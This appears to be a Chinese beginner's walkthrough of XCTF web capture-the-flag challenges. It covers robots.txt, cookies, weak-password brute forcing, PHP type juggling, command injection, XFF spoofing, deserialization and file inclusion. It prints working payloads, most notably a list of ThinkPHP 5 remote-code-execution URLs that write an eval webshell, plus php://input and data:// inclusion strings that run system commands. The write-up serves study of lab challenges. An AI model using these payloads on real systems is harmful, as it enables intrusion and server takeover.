# web 新手:
攻防世界 WEB 区复现:
# robots:>
robots.txt 文件是一个文本文件,使用任何一个常见的文本编辑器,比如 Windows 系统安装了 Notepad,就可以创建和编辑它
robots.txt 是一个协议,而不是一个命令。robots.txt 是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt 文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在 robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。百度官方建议,仅当您的网站包含不希望被搜索引擎收录的内容时,才需要使用 robots.txt 文件。如果您希望搜索引擎收录网站上所有内容,请勿建立 robots.txt 文件。
如果将网站视为酒店里的一个房间,robots.txt 就是主人在房间门口悬挂的 “请勿打扰” 或 “欢迎打扫” 的提示牌。这个文件告诉来访的搜索引擎哪些房间可以进入和参观,哪些房间因为存放贵重物品,或可能涉及住户及访客的隐私而不对搜索引擎开放。但 robots.txt 不是命令,也不是防火墙,如同守门人无法阻止窃贼等恶意闯入者。
拙见:Disallow 就是禁止的意思
Allow 就是允许的意思
回归该题:
当我们去访问 robots.txt 的时候,发现所有的搜索引擎不允许去访问 f1ag_1s_h3re.php 文件,说明这是敏感信息。根据提示,我们去访问这个文件。
成功获取 flag。
# backup:>
提示是去寻找备份文件
打开界面:
很容易想到,这里要找 index.php 的备份文件。
web 网页常见的备份文件后缀名:“.git”,“.svn”,“.swp”,“.~”,“.bak”,“.bash_history”,“.bkf”
获取 flag。
# cookie:>
根据提示,cookie 里面有东西。
Cookie 是一种存储在计算机浏览器目录中的文本文件。当用户浏览某个站点并注册帐号,就会生成一个 Cookie 文件用于记录登录信息。目前,大多数网站都会应用 Cookie 技术,这既能给用户提供一个好的网络环境,又能方便收集访客信息。
# Cookie 有哪些特性:
首先,是 Cookie 的实效性。目前有些 Cookie 是临时的,有些则是持续的。临时的 Cookie 只在浏览器上保存一段规定的时间,一旦超过规定的时间,该 Cookie 就会被系统清除。
其次,是 Cookie 的限制性。Cookie 必须在 HTML 文件的内容输出之前设置;不同的浏览器 (Netscape Navigator、Internet Explorer) 对 Cookie 的处理不一致,使用时一定要考虑;客户端用户如果设置禁止 Cookie,则 Cookie 不能建立。 并且在客户端,一个浏览器能创建的 Cookie 数量最多为 300 个,并且每个不能超过 4KB,每个 Web 站点能设置的 Cookie 总数不能超过 20 个。
# Cookie 有什么作用:
Cookie 对于网站开发者而言,从某个角度理解更像浏览器的 “缓存” 它清晰的记录你的行为指标,有利于:
(1)获取精准的访客画像:用户位置、访问喜好、年龄结构、特定账号信息等。
(2)广告联盟:提供更加精准的相关产品信息,这也是为什么,当你搜索某个产品以后,在各大电商网站或带有广告联盟代码的站点,经常出现同类产品的原因。
(3)推进更多个性化的内容信息,延迟页面停留时间,提高转化率。
这里我们采用 burp 抓一下包:
发现有一个 cookie.php, 尝试一下:
当我们传到 url 上的时候,提示我们请看 http response,所以 cookie 应该是在响应包的一个东西。
成功获取 flag。
# disabled_button:>
当我们打开网页:
发现此按钮不能按下去。
f12 查看源码,发现输入有上面的字段:
当 input 的属性设置为 disabled=“disabled“时,表单不会提交此 input 的数据
disabled:对于全部的表单元素都有效,包括 select, radio, checkbox, button 等。若是一个输入项的 disabled 设为 true,则该表单输入项不能获取焦点,用户的全部操做(鼠标点击和键盘输入等)对该输入项都无效,最重要的一点是当提交表单时,这个表单输入项将不会被提交。
readonly:只针对 input (text /password) 和 textarea 有效;若是设为 true,用户只是不能编辑对应的文本,可是仍然能够聚焦焦点,而且在提交表单的时候,该输入项会做为 form 的一项提交。
所以我们将其删掉就行。
得到 flag
# get_post:>
两种请求方式:
GET 请求直接在 url 后,进行参数的添加。
POST 请求需要借助 hackbar。
另外几种请求:
回归题目:
得到 flag
# weak_auth:>
题目是个弱密码题目:
可以直接猜简单密码进行登录,也可以用 burp 进行爆破。
进入网页后是这样的界面。
当我们输入用户名时,提示我们用 admin 去登录。所以这题我们只需要去爆破密码即可。
当我们请求操作时,拦截下来这样的数据包。
这样去构造 payload 去进行爆破密码
加载我们的密码字典,开始攻击
从长度获知密码应为 123456
查看响应包:
得到 flag
# simple_php:>
发现是 php 去需要判断的再能获取两个部分的 flag 的。
if($a==0 and $a) |
== 弱类型比较。需要了解 php 类型比较的特性。
PHP 类型比较
- 松散比较:使用两个等号 == 比较,只比较值,不比较类型。
- 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
** 方法:**php 中的弱类型比较会使’abc’ == 0 为真,所以输入 a=abc 时,可得到 flag1
if(is_numeric($b)) | |
if($b>1234) |
is_numeric () 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE, 且 php 中弱类型比较时,会使 (‘1234a’ == 1234)
** 方法:** 输入 b=1235c 即可。
# command_execution:>
命令执行
WAF:
Web 应用程序防火墙(有时也简称为 WAF )可以通过监视和过滤 Internet 与网站之间的 HTTP 通信来保护网站。
一个 WAF 可以防止网站受跨站请求伪造的喜欢(被攻击 CSRF),本地文件包含(LFI),SQL 注入,跨站点脚本(XSS),等等。
输入验证效果不佳的网站可能容易受到代码注入漏洞的攻击,这使攻击者试图让 SQL 语句潜行以访问未经授权的数据库。WAF 可以检测并阻止这些尝试。过时的库和软件也是易受攻击的领域,但 Web 应用程序防火墙可以用作临时解决方案,并阻止这些漏洞,并对其进行修补。
题目:
ping 用于确定本地主机是否能与另一台主机成功交换 (发送与接收) 数据包,再根据返回的信息,就可以推断 TCP/IP 参数是否设置正确,以及运行是否正常、网络是否通畅等
发现有回显,这下来进行拼接,执行命令注入:
发现 ls 被执行。
找到 flag 位置
得到 flag
# xff_referer:>
记录一下:>
**User-Agent:** 使得服务器能够识别客户使用的操作系统,浏览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
**Cookie:** 网站为了辨别用户身份进行 session 跟踪,并储存在用户本地终端上的数据(通常经过加密)
X-Forwarded-For:简称 XFF 头,代表了 HTTP 的请求端真实的 IP。它被认为是客户端通过 HTTP 代理或者负载均衡器连接到 web 服务端获取源 ip 地址的一个标准(通常一些网站的防注入功能会记录请求端真实 IP 地址并写入数据库或某文件 [通过修改 XXF 头可以实现伪造 IP])。
**Referer:** 浏览器向 WEB 服务器表明自己的页面来源。
**Host:** 客户端指定自己想访问的 WEB 服务器的域名 / IP 地址和端口号。
02XFF 注入的概念
XFF,是 X-Forwarded-for 的缩写,属于 SQL 注入的一种,该注入原理是通过修改 X-Forwarded-for 头对带入系统的 dns 进行 sql 注入,达到欺骗服务器执行恶意的 SQL 命令的效果,从而可以得到网站的数据库内容。
03XFF 的危害
①数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
②网页篡改:通过操作数据库对特定网页进行篡改。
③网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
④数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
⑤服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
题目:
提示 ip 必须 123.123.123.123,利用 xff 伪造 ip。
使用 burp
进行请求伪造:
得到 flag
# Training-WWW-Robots:>
很明显,这还是一个和 Robots 有关的题目
得到 flag
# simple_js:>
题目界面
用 burp 抓一下包。看下响应的情况。
function dechiffre(pass_enc){ // 传入的密码 | |
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"; // 需要比对的密码 // 这是报错信息 FAUX PASSWORD HAHA | |
var tab = pass_enc.split(','); // 对传入的密码插入 | |
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length; | |
k = j + (l) + (n=0); | |
n = tab2.length; | |
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i])); | |
if(i == 5)break;} | |
for(i = (o=0); i < (k = j = n); i++ ){ | |
o = tab[i-l]; | |
if(i > 5 && i < k-1) | |
p += String.fromCharCode((o = tab2[i])); | |
} | |
p += String.fromCharCode(tab2[17]); // 这里只返回了部分字符 | |
pass = p;return pass; | |
} | |
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); // 需要对比的密码 | |
h = window.prompt('Enter password'); | |
alert( dechiffre(h) ); |
pass_enc**.split (**) 方法用于把一个字符串分割成字符串数组
# ascii 转字符串 | |
hex_string = r"\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30" | |
hex_values = hex_string.split(r'\x')[1:] | |
result = ''.join([chr(int(hex_value, 16)) for hex_value in hex_values]) | |
print(result) | |
ascii_values = [55,56,54,79,115,69,114,116,107,49,50] | |
result = ''.join([chr(value) for value in ascii_values]) | |
print(result) | |
#55,56,54,79,115,69,114,116,107,49,50 | |
#786OsErtk12 |
flag
# baby_web:>
进入题目页面。初始页面一般是 index.php
试着传入 index.php 试一下
但是又回到 1.php
用 burp 传一下试一下
成功找到 flag
# PHP2:>
前置知识:
phps 即为 PHP Source。
phps 文件就是 php 的源代码文件,通常用于提供给用户(访问者)查看 php 代码,因为用户无法直接通过 Web 浏览器看到 php 文件的内容,所以需要用 phps 文件代替。其实,只要不用 php 等已经在服务器中注册过的 MIME 类型为文件即可,但为了国际通用,所以才用了 phps 文件类型
这题 php 查看不了源码,只能用 phps 查看。
有点乱,用 burp 看一眼。
大概意思就是,GET 请求,如果 admin 等于传入的 id 在退出,但是下面可以通过 url 解码去绕过
1, 只改变 a 即 %61dmin
2, 全都改变 %61%64%6d%69%6e
但是,进入网页可要 url 解码一次,所以 % 要改变 %25
即最终的 payload 的为:?id=%2561%2564%256d%2569%256e
or ?id=%2561dmin
# ics-06:>
只有报表中心可以点
发现有 GET 传 id 的方式
用 burp 抓下包看一下。(没有别的发现,只能对 id 爆破
这里添加 payload。
这样设置 payload,攻击!!
id=2333 异常。说明入侵者痕迹在这。
查看响应包。
发现 flag
# php_rce:>
知识了解一下吧:
1.ThinkPHP 简介:
ThinkPHP 是一个开源,快速、简单的轻量级国产 PHP 开发框架,诞生于 2006 年初,原名 FCS,2007 年元旦正式更名为 ThinkPHP。使用面向对象的开发结构和 MVC 模式,融合了 Struts 的思想和 TagLib(标签库)、RoR 的 ORM 映射和 ActiveRecord 模式。ThinkPHP 可以支持 windows/Unix/Linux 等服务器环境,正式版需要 PHP 5.0 以上版本,支持 MySql、PgSQL、Sqlite 多种数据库以及 PDO 扩展,是一款跨平台,跨版本以及简单易用的 PHP 框架。
其中 ThinkPHP 2 以及 ThinkPHP 3 系列已经停止维护,ThinkPHP 5 系列现使用最多,而 ThinkPHP 3 系列也积累了较多的历史用户。各个系列之间在代码实现及功能方面有较大区别。
这是 PHP V5,找下 PHP V5 的漏洞。
- 5.0.x:
?s=index/think\config/get&name=database.username // 获取配置信息 | |
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件 | |
?s=index/\think\Config/load&file=../../t.php // 包含任意.php 文件 | |
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id // 执行命令 | |
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 // 执行 phpinfo (); | |
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?> // 写入 shell |
- 5.1.x:
?s=index/\think\Request/input&filter[]=system&data=pwd | |
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?> | |
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php @eval($_POST[a]);?> | |
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id | |
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id |
执行 5.0 的漏洞
发现当前目录没有 flag
根目录有 flag
得到 flag
# unserialize3:>
反序列化:
# 什么是序列化 (serialize)
将对象的状态信息转换为可以存储或传输的形式的过程,简单来说,就是将状态信息保存为字符串
# 什么是反序列化 (unserialize)
将字符串转换为状态信息
二、什么是反序列化漏洞
当程序在进行反序列化时,会自动调用一些函数,例如_wakeup () _destruct () 等函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。
由于反序列化时 unserialize () 函数会自动调用 wakeup (),destruct (), 函数,当有一些漏洞或者恶意代码在这些函数中,当我们控制序列化的字符串时会去触发他们,从而达到攻击。
__construct () : 构造函数,当创建对象时自动调用。
__destruct (): 析构函数,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。
__wakeup (): 进行 unserialize 时会查看是否有该函数,有的话有限调用。会进行初始化对象。遇到 unserialize () 时自动触发
__ toString (): 当一个类被当成字符串时会被调用。
__sleep (): 当一个对象被序列化时调用,可与设定序列化时保存的属性。
class xctf{ | |
public $flag = '111'; | |
public function __wakeup(){ | |
exit('bad requests'); | |
} | |
?code= |
这个题,需要去完善下代码。
<?php | |
class xctf{ // 定义一个名为 xctf 的类 | |
public $flag = '111'; // 定义一个公有的类属性 $flag,值为 111 | |
public function __wakeup(){ // 定义一个公有的类方法__wakeup (),输出 bad requests 后退出当前脚本 | |
exit('bad requests'); | |
} | |
} | |
$peak = new xctf(); // 使用 new 运算符来实例化该类(xctf)的对象为 peak | |
echo(serialize($peak)); // 输出被序列化的对象(peak) | |
?> |
执行下
O:4:“xctf”:1:
O 代表 object(为 A 时代表 Array),4 代表 "test" 占 4 个字符长度,1 代表着对象具有一个变量:flag,s 代表 string,字符型(如果为 i,代表 int 型)
里面的值是不可修改的,但是可以修改的属性 (变量) 数大于实际的个数时,就可以绕过 wakeup
所以 payload 为
?code=O:4:“xctf”:2:
# Web_php_include:>
<?php | |
show_source(__FILE__); // 显示当前文件的源代码 | |
echo $_GET['hello']; // 输出名为 'hello' 的 GET 参数的值 | |
$page=$_GET['page']; // 将名为 'page' 的 GET 参数的值赋给变量 $page | |
while (strstr($page, "php://")) { // 当 $page 中包含 "php://" 时执行循环 | |
$page=str_replace("php://", "", $page); // 将 $page 中的所有 "php://" 替换为空字符串 | |
} | |
include($page); // 包含并执行 $page 对应的文件 | |
?> |
由于这段代码对用户输入的
$page
参数直接进行了include
,存在安全风险。未经验证的用户输入可能导致远程文件包含(RFI)攻击或代码注入漏洞。
一、文件包含漏洞分类
LFI(Local File Inclusion)
本地文件包含漏洞,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是 LFI。
为了方便本文把 LFI 直接称为文件包含漏洞。RFI(Remote File Inclusion)
远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。但 RFI 的利用条件较为苛刻,需要 php.ini 中进行配置allow_url_fopen = On allow_url_include = On
两个配置选项均需要为 On,才能远程包含文件成功。
在 php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off。
二、文件包含漏洞原理
本地文件包含(Local File Inclusion)漏洞,是程序员在网站设计中,为方便自己在设计构架时,使用了一些包含的函数,在文件中包含一个文件。
服务器执行 PHP 文件时,可以通过文件包含函数加载另一个文件中的 PHP 代码,并且当 PHP 来执行,这会为开发者节省大量的时间。
这意味着可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,只更新一个包含文件就可以了,或者当向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
LFI 产生的原因是由于程序员未对用户可控变量进行输入检查,此漏洞的影响可能导致泄露服务器上的敏感文件等。
如若攻击者能够通过其他方式在 Web 服务器上放置代码,那么他们便可以执行任意命令
三、文件包含函数
PHP 中文件包含函数有以下四种:
require () // 只在执行到此函数时才去包含文件,若包含的文件不存在产生警告,程序继续运行
require_once () // 如果一个文件已经被包含过,则不会在包含它
include () // 程序一运行文件便会包含进来,若包含文件不存在产生致命错误,程序终止运行
include_once () // 如果一个文件已经被包含过,则不会在包含它
include 和 require 区别主要是,include 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;
而 require 函数出现错误的时候,会直接报错并退出程序的执行。而 include_once (),require_once () 这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
这四个函数可以将任意类型的文件当做 PHP 文件进行解析。
示例代码:例如:
_GET [‘filename’] 的值,执行非预期的操作。
- 【file:// 协议】
file:// 协议在双 off 的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
file:// 用于访问本地文件系统,在 CTF 中通常用来读取本地文件的且不受 allow_url_fopen 与 allow_url_include 的影响。
使用方法:
file:// [文件的绝对路径和文件名]
- 【php:// 协议】
条件:
不需要开启 allow_url_fopen,仅 php://input、 php://stdin、 php://memory 和 php://temp 需要开启 allow_url_include。
php://filter 读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了。
php://input 可以访问请求的原始数据的只读流,将 post 请求中的数据作为 PHP 代码执行。
- 【data:// 协议】
经过测试官方文档上存在一处问题,经过测试 PHP 版本 5.2,5.3,5.5,7.0;data:// 协议是是受限于 allow_url_fopen 的,官方文档上给出的是 NO,所以要使用 data:// 协议需要满足双 on 条件
例子:
http://127.0.0.1/cmd.php?file=data://text/plain,
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
- 方法一:
php 协议:
只能用 burp 不能用 harkbar 有点奇怪
请求包:
GET /?page=PhP://input HTTP/1.1 | |
Host: 61.147.171.105:64567 | |
Cache-Control: max-age=0 | |
Upgrade-Insecure-Requests: 1 | |
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.121 Safari/537.36 | |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 | |
Accept-Encoding: gzip, deflate | |
Accept-Language: zh-CN,zh;q=0.9 | |
Connection: close | |
Content-Length: 21 | |
<?php system("ls");?> |
有 flag
得到 flag
- 方法二:
data://text/plain,<?php system("ls")?> | |
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= //推荐 |
都可以
data://text/plain,<?php system("cat fl4gisisish3r3.php")?> | |
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg== //推荐 |